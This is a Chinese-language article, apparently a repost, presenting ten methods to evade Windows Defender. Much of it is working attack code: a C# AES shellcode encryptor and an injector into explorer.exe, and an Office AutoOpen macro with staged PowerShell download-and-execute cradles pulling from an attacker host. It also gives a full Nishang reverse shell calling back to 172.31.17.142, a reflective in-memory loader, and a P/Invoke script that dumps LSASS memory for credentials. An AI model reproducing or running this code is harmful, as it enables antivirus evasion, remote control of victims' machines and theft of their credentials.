长亭百川云 - 文章详情

绕过Windows Defender的十种方法

关注安全技术

63

2024-07-13

From:https://www.fo-sec.com/articles/10-defender-bypass-methods

内存修补AMSI/ETW

对当前进程进行Memory Patching时AMSI将允许执行任何无文件恶意软件,包括工具(Mimikatz、Rubeus 等)或反向shell。

对于这个概念验证,这里使用evil-winrm Bypass-4MSI内置函数。

代码混淆

这里使用混淆器https://github.com/h4wkst3r/InvisibilityCloak

首先验证Defender是否会阻止默认构建的Certify

可以看到被拦截了

使用InvisibilityCloak混淆Certify代码

尝试运行混淆后的Certify

可以看到它现在可以正常工作了

编译时混淆

对于C、C++、Rust等语言,可以利用编译时混淆来隐藏一些行为

根据语言的不同,可能存在不同的方法。由于我的恶意软件开发首选 C++,因此我将解释我尝试过的两种方法:LLVM混淆和模板元编程。

对于LLVM混淆,目前最大的工具是Obfuscator-LLVM。该项目是LLVM的一个分支,它通过混淆生成的二进制文件来增加一层安全性。当前实现的新增功能如下:

·  指令替换。混淆汇编指令以在更大的计算复杂性下产生等效行为。

·  伪造的控制流。添加垃圾指令块以隐藏原始指令代码流。

·  控制流扁平化。使分支和跳转更难预测,以隐藏有意的指令流。

总之,该工具生成的二进制文件通常更难被AV/EDR 静态分析。

模板元编程是一种C++技术,允许开发人员创建在编译时生成源代码的模板。允许在每次编译时生成不同的二进制文件,创建无限数量的分支和代码块等。

用于此目的的两个公共框架如下:

https://github.com/andrivet/ADVobfuscator

https://github.com/fritzone/obfy

这里使用第二个,进行测试。

此外,使用TheD1rkMtr 的 AMSI_patch作为默认二进制文件混淆,它是一个非常简单的 C++ 项目。https://github.com/TheD1rkMtr/AMSI\_patch

默认函数树

混淆后的函数树

混淆后难以静态分析,因为有许多嵌套函数

混淆后的垃圾函数

这些都是简单的垃圾函数,但对于隐藏真实行为非常有用。

再次测试。

二进制文件混淆/打包

一旦你已经生成了二进制文件,可以选择以下几种方式:

·  混淆二进制文件的汇编指令。

·  打包二进制文件。

·  加密二进制文件的内容以在运行时对其进行解密。

·  或者,将其转换为 shellcode 以供以后操作和注入。

从第一个开始,我们有几个可用的开源选项,例如:

https://github.com/weak1337/Alcatraz

https://github.com/a0rtega/metame

https://github.com/ropfuscator/ropfuscator(目前仅适用于 Linux)

Alcatraz通过多种方式修改二进制程序集来工作,例如混淆控制流、添加垃圾指令、取消优化指令以及在运行时之前隐藏真正的入口点。

Metame的工作原理是使用随机性在每次运行时生成不同的程序集

ROPfuscator的工作原理是利用面向返回的编程从原始代码构建ROP小工具和链,从而将原始代码流隐藏在静态分析中,甚至可能是动态的,因为启发式方法更难分析连续的恶意调用. 下图更好地描述了整个过程。

打包器的基本架构如下图。

在这个过程中,给定的打包工具将一个本地编译的PE嵌入到另一个可执行文件中,该文件包含解压原始内容并执行它所需的信息。

此外,PE加密器通过加密可执行文件的内容并生成一个在运行时将解密原始PE的可执行文件来工作。这对于反病毒软件非常有用,因为它们大多数依赖于静态分析而不是运行时行为(如EDR)。因此,完全隐藏可执行文件的内容直到运行时可能非常有效,除非反病毒软件已经针对加密/解密方法生成了签名。https://github.com/icyguider/nimcrypt

最后,我们还可以将本地PE转换回Shellcode。例如,可以使用hasherezade的pe_to_shellcode工具进行转换。

https://github.com/hasherezade/pe\_to\_shellcode

现在已经解释了从可执行文件开始规避反病毒软件的所有可能方法,我想提到将所有步骤合并到一个工具中的框架:KlezVirus的inceptor。这个工具可能会变得非常复杂,对于简单的Defender规避并不需要大部分步骤,但可以通过以下图示更好地解释:

架构

https://github.com/klezVirus/inceptor

与以往的工具不同,Inceptor允许开发者创建自定义模板,以便在工作流程的每个步骤中修改二进制文件,即使为公共模板生成了签名,您也可以拥有自己的私有模板来绕过EDR hooks,修补AMSI / ETW,使用硬件断点,使用直接系统调用来代替内存中的DLL等。

加密Shellcode注入

Shellcode 注入是一种非常著名的技术,它包括在给定的进程中插入/注入无关的Shellcode,以最终在内存中执行它。这可以通过多种方式实现。请参阅下图,

对于本文,我将讨论和演示以下方法:

使用Process.GetProcessByName定位资源管理器进程并获取PID。

通过具有0x001F0FFF访问权限的OpenProcess打开进程。

通过VirtualAllocEx在explorer进程中为我们的shellcode分配内存。

通过WriteProcessMemory在进程中写入shellcode 。

最后,创建一个线程,通过CreateRemoteThread执行我们的地址无关代码 (position-independent shellcode)。

当然,拥有包含恶意shellcode的可执行文件很容易被 Defender标记。为了解决这个问题,我们将首先使用AES-128 CBC和PKCS7填充对shellcode进行加密,以隐藏其真实行为和组成,直到运行时。

首先,我们需要生成初始shellcode。使用msfvenom的简单TCP反向shell。

使用以下 C# 代码,可以随意以其他方式(例如,cyberchef)对其进行加密。

using System;using System.IO;using System.Security.Cryptography;using System.Text;namespace AesEnc{    class Program    {        static void Main(string[] args)        {            byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };            byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");             byte[] aesshell = EncryptShell(buf, Key, IV);            StringBuilder hex = new StringBuilder(aesshell.Length * 2);            int totalCount = aesshell.Length;            foreach (byte b in aesshell)            {                if ((b + 1) == totalCount)                 {                    hex.AppendFormat("0x{0:x2}", b);                }                else                {                    hex.AppendFormat("0x{0:x2}, ", b);                }            }            Console.WriteLine(hex);                   }        private static byte[] GetIV(int num)        {            var randomBytes = new byte[num];             using (var rngCsp = new RNGCryptoServiceProvider())            {                rngCsp.GetBytes(randomBytes);            }            return randomBytes;        }        private static byte[] GetKey(int size)        {            char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray();            byte[] CKey = new byte[size];            using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())            {                crypto.GetBytes(CKey);            }            return CKey;        }        private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)        {            using (var aes = Aes.Create())            {                aes.KeySize = 128;                aes.BlockSize = 128;                aes.Padding = PaddingMode.PKCS7;                aes.Mode = CipherMode.CBC;                aes.Key = key;                aes.IV = iv;                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))                {                    return AESEncryptedShellCode(CShellcode, encryptor);                }            }        }        private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)        {            using (var msEncShellCode = new MemoryStream())            using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))            {                cryptoStream.Write(CShellcode, 0, CShellcode.Length);                cryptoStream.FlushFinalBlock();                return msEncShellCode.ToArray();            }        }    }}

注入器的代码如下

using System;using System.Collections.Generic;using System.Linq;using System.IO;using System.Text;using System.Threading.Tasks;using System.Diagnostics;using System.Security.Cryptography;using System.Runtime.InteropServices;namespace AESInject{    class Program    {        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int        processId);        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);        [DllImport("kernel32.dll")]        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);        [DllImport("kernel32.dll")]        static extern IntPtr GetCurrentProcess();                static void Main(string[] args)        {            byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");            byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here            byte[] DShell = AESDecrypt(buf, Key, IV);            StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);            foreach (byte b in DShell)            {                hexCodes.AppendFormat("0x{0:x2},", b);            }            int size = DShell.Length;            Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes            int pid = expProc[0].Id;            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);            IntPtr outSize;            WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);        }        private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)        {            using (var aes = Aes.Create())            {                aes.KeySize = 128;                aes.BlockSize = 128;                aes.Padding = PaddingMode.PKCS7;                aes.Mode = CipherMode.CBC;                aes.Key = key;                aes.IV = iv;                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))                {                    return GetDecrypt(CEncryptedShell, decryptor);                }            }        }        private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)        {            using (var ms = new MemoryStream())            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))            {                cryptoStream.Write(data, 0, data.Length);                cryptoStream.FlushFinalBlock();                return ms.ToArray();            }        }    }}

执行

获取到shell

Donut shellcode 加载

https://github.com/TheWover/donut是非常有效的地址无关代码 (position-independent shellcode)生成器。

执行

生成 shellcode 后,我们现在可以为此目的使用我们喜欢的任何注入器。donut最新版本已经带有一个本地和一个远程注入器

定制工具

Mimikatz、Rubeus、Certify、PowerView、BloodHound 等工具在单个包中实现了很多功能,但是也很容易被识别,那么我们可以尝试将功能分离出来。比如提取mimikatz的转出lsass的功能

https://github.com/Cracked5pider/LsaParser

第二个示例,假设我们的目标是枚举整个 Active Directory 域中的共享。为此,我们可以使用 PowerView 的 Find-DomainShare模块,但是,它是最著名的开源工具之一,很容易被识别并删除,因此,为了更加隐蔽,我们可以基于本机Windows API开发自己的共享查找器工具,如下所示。

#include <windows.h>#include <stdio.h>#include <lm.h>#pragma comment(lib, "Netapi32.lib")int wmain(DWORD argc, WCHAR* lpszArgv[]){    PSHARE_INFO_502 BufPtr, p;    PSHARE_INFO_1 BufPtr2, p2;    NET_API_STATUS res;    LPTSTR   lpszServer = NULL;    DWORD er = 0, tr = 0, resume = 0, i,denied=0;    switch (argc)    {    case 1:        wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");        return 1;    default:        break;    }    wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");    wprintf(L"-------------------------------------------------------------------------------------\n\n");    for (DWORD iter = 1; iter <= argc-1; iter++) {        lpszServer = lpszArgv[iter];        do        {            res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);            if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)            {                p = BufPtr;                for (i = 1; i <= er; i++)                {                    wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);                    p++;                }                NetApiBufferFree(BufPtr);            }            else if (res == ERROR_ACCESS_DENIED) {                denied = 1;            }            else            {                wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);            }        }        while (res == ERROR_MORE_DATA);        if (denied == 1) {            do            {                res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);                if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)                {                    p2 = BufPtr2;                    for (i = 1; i <= er; i++)                    {                        wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark,  lpszServer);                        p2++;                    }                    NetApiBufferFree(BufPtr2);                }                else                {                    wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);                }            }            while (res == ERROR_MORE_DATA);            denied = 0;        }        wprintf(L"-------------------------------------------------------------------------------------\n\n");    }    return 0;}

自定义工具可能是一项非常耗时的任务,并且需要非常深入的了解 Windows 内部知识,但它有可能是最有效的方法。因此,如果其他方法都失败了,应该考虑到这一点。因为可以控制并自定义API调用、断点、顺序、垃圾数据/指令、混淆等。

Payload 分段

将有效载荷分成渐进阶段不是新技术,攻击者通常使用它来逃避初始静态分析的恶意软件。这是因为真正的恶意负载将在稍后阶段被检索和执行,静态分析可能没有机会发挥作用。

对于此PoC,这里展示一种非常简单但有效的方法来暂存反向 shell 负载,例如,可用于使用以下宏创建恶意 Office 文件:

执行第一阶段的宏

Sub AutoOpen()Set shell_object = CreateObject("WScript.Shell")shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")End Sub

这不会被 AV 静态检测到,因为它只是在执行一个看似良性的命令。

由于我没有安装Office,这里通过在PowerShell脚本中手动执行上述命令来模拟网络钓鱼过程。

本节的概念证明如下:

stage0.txt(这将是在网络钓鱼宏中执行的命令)

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")

stage1.txt

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")

stage2.txt

function Invoke-PowerShellTcp { <#.SYNOPSISNishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTIONThis script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.The script is derived from Powerfun written by Ben Turner & Dave Hardy.PARAMETER IPAddressThe IP address to connect to when using the -Reverse switch..PARAMETER PortThe port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens..EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLEPS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must belistening on the given IP and port. .LINKhttp://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.htmlhttps://github.com/nettitude/powershell/blob/master/powerfun.ps1https://github.com/samratashok/nishang#>          [CmdletBinding(DefaultParameterSetName="reverse")] Param(        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]        [String]        $IPAddress,        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]        [Int]        $Port,        [Parameter(ParameterSetName="reverse")]        [Switch]        $Reverse,        [Parameter(ParameterSetName="bind")]        [Switch]        $Bind    )        try     {        #Connect back if the reverse switch is used.        if ($Reverse)        {            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)        }        #Bind to the provided port if Bind switch is used.        if ($Bind)        {            $listener = [System.Net.Sockets.TcpListener]$Port            $listener.start()                $client = $listener.AcceptTcpClient()        }         $stream = $client.GetStream()        [byte[]]$bytes = 0..65535|%{0}        #Send back current username and computername        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")        $stream.Write($sendbytes,0,$sendbytes.Length)        #Show an interactive PowerShell prompt        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')        $stream.Write($sendbytes,0,$sendbytes.Length)        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)        {            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding            $data = $EncodedText.GetString($bytes,0, $i)            try            {                #Execute the command on the target.                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )            }            catch            {                Write-Warning "Something went wrong with execution of command on the target."                 Write-Error $_            }            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '            $x = ($error[0] | Out-String)            $error.clear()            $sendback2 = $sendback2 + $x            #Return the results            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)            $stream.Write($sendbyte,0,$sendbyte.Length)            $stream.Flush()          }        $client.Close()        if ($listener)        {            $listener.Stop()        }    }    catch    {        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."         Write-Error $_    }}Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80

ref.txt 是一个简单的通过进程修补来执行PowerShell AMSI 绕过,在这种情况下,PowerShell脚本的扩展名无关紧要,因为它们的内容将作为文本简单地下载并使用Invoke-Expression(IEX 的别名)调用。

然后我们可以执行完整的 PoC,如下所示:

受害者从我们的 C2 下载

获取反向 shell

反射加载

您可能还记得在第一部分中,我们在修补内存中的AMSI后执行了Mimikatz,以展示Defender停止扫描我们进程的内存。这是因为.NET公开了System.Reflection.Assembly API,我们可以使用它在内存中反射加载和执行.NET程序集

这对于攻击目的非常有用,因为在PowerShell中可以使用 .NET,我们可以在脚本中使用它在内存中加载整个二进制文件,以绕过Windows Defender的静态分析。

反射加载模板

function Invoke-YourTool{    $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)    $output = New-Object System.IO.MemoryStream    $decompressed.CopyTo( $output )    [byte[]] $byteOutArray = $output.ToArray()    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)    $OldConsoleOut = [Console]::Out    $StringWriter = New-Object IO.StringWriter    [Console]::SetOut($StringWriter)    [ClassName.Program]::main([string[]]$args)    [Console]::SetOut($OldConsoleOut)    $Results = $StringWriter.ToString()    $Results  }

Gzip仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数以将二进制文件加载到内存中. 之后,我们可以简单地用“[ClassName.Program]::main([string[]]$args)”调用它的主函数

这个仓库不仅包含每个著名工具的大量预构建脚本,还包含从二进制文件创建您自己的脚本的说明:

https://github.com/S3cur3Th1sSh1t/PowerSharpPack

反射加载 Mimikatz

P/Invoke C# 程序集

P/Invoke,即平台调用,允许我们访问未管理的本地Windows DLL中的结构、回调和函数,以便访问本机组件中可能无法直接从.NET中获得的较低级别API。

我们可以利用fortra的nanodump工具

https://github.com/fortra/nanodump

但是它容易被识别,这时可以利用P/Invoke编写一个PowerShell脚本来执行相同的操作,

我们可以修补 AMSI 以使其在这样做时变得不可检测。

编写以下代码

Add-Type @"    using System;    using System.Runtime.InteropServices;    public class MiniDump {        [DllImport("Dbghelp.dll", SetLastError=true)]        public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);    }"@$PROCESS_QUERY_INFORMATION = 0x0400$PROCESS_VM_READ = 0x0010$MiniDumpWithFullMemory = 0x00000002Add-Type -TypeDefinition @"    using System;    using System.Runtime.InteropServices;    public class Kernel32 {        [DllImport("kernel32.dll", SetLastError=true)]        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);        [DllImport("kernel32.dll", SetLastError=true)]        public static extern bool CloseHandle(IntPtr hObject);    }"@$processId ="788"$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)if ($processHandle -ne [IntPtr]::Zero) {    $dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")    $fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()    $result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)    if ($result) {        Write-Host "Sucess"    } else {        Write-Host "Failed" -ForegroundColor Red    }    $dumpFile.Close()    [Kernel32]::CloseHandle($processHandle)} else {    Write-Host "Failed to open process handle." -ForegroundColor Red}

在此示例中,我们首先通过Add-Type从Dbghelp.dll导入MiniDumpWriteDump函数,然后从 kernel32.dll 导入 OpenProcess 和 CloseHandle。然后最终得到 LSASS 进程的句柄并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件

完整的 PoC 如下:

使用 impacket-smbclient 下载

使用 pypykatz 在本地解析 MiniDump 文件

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2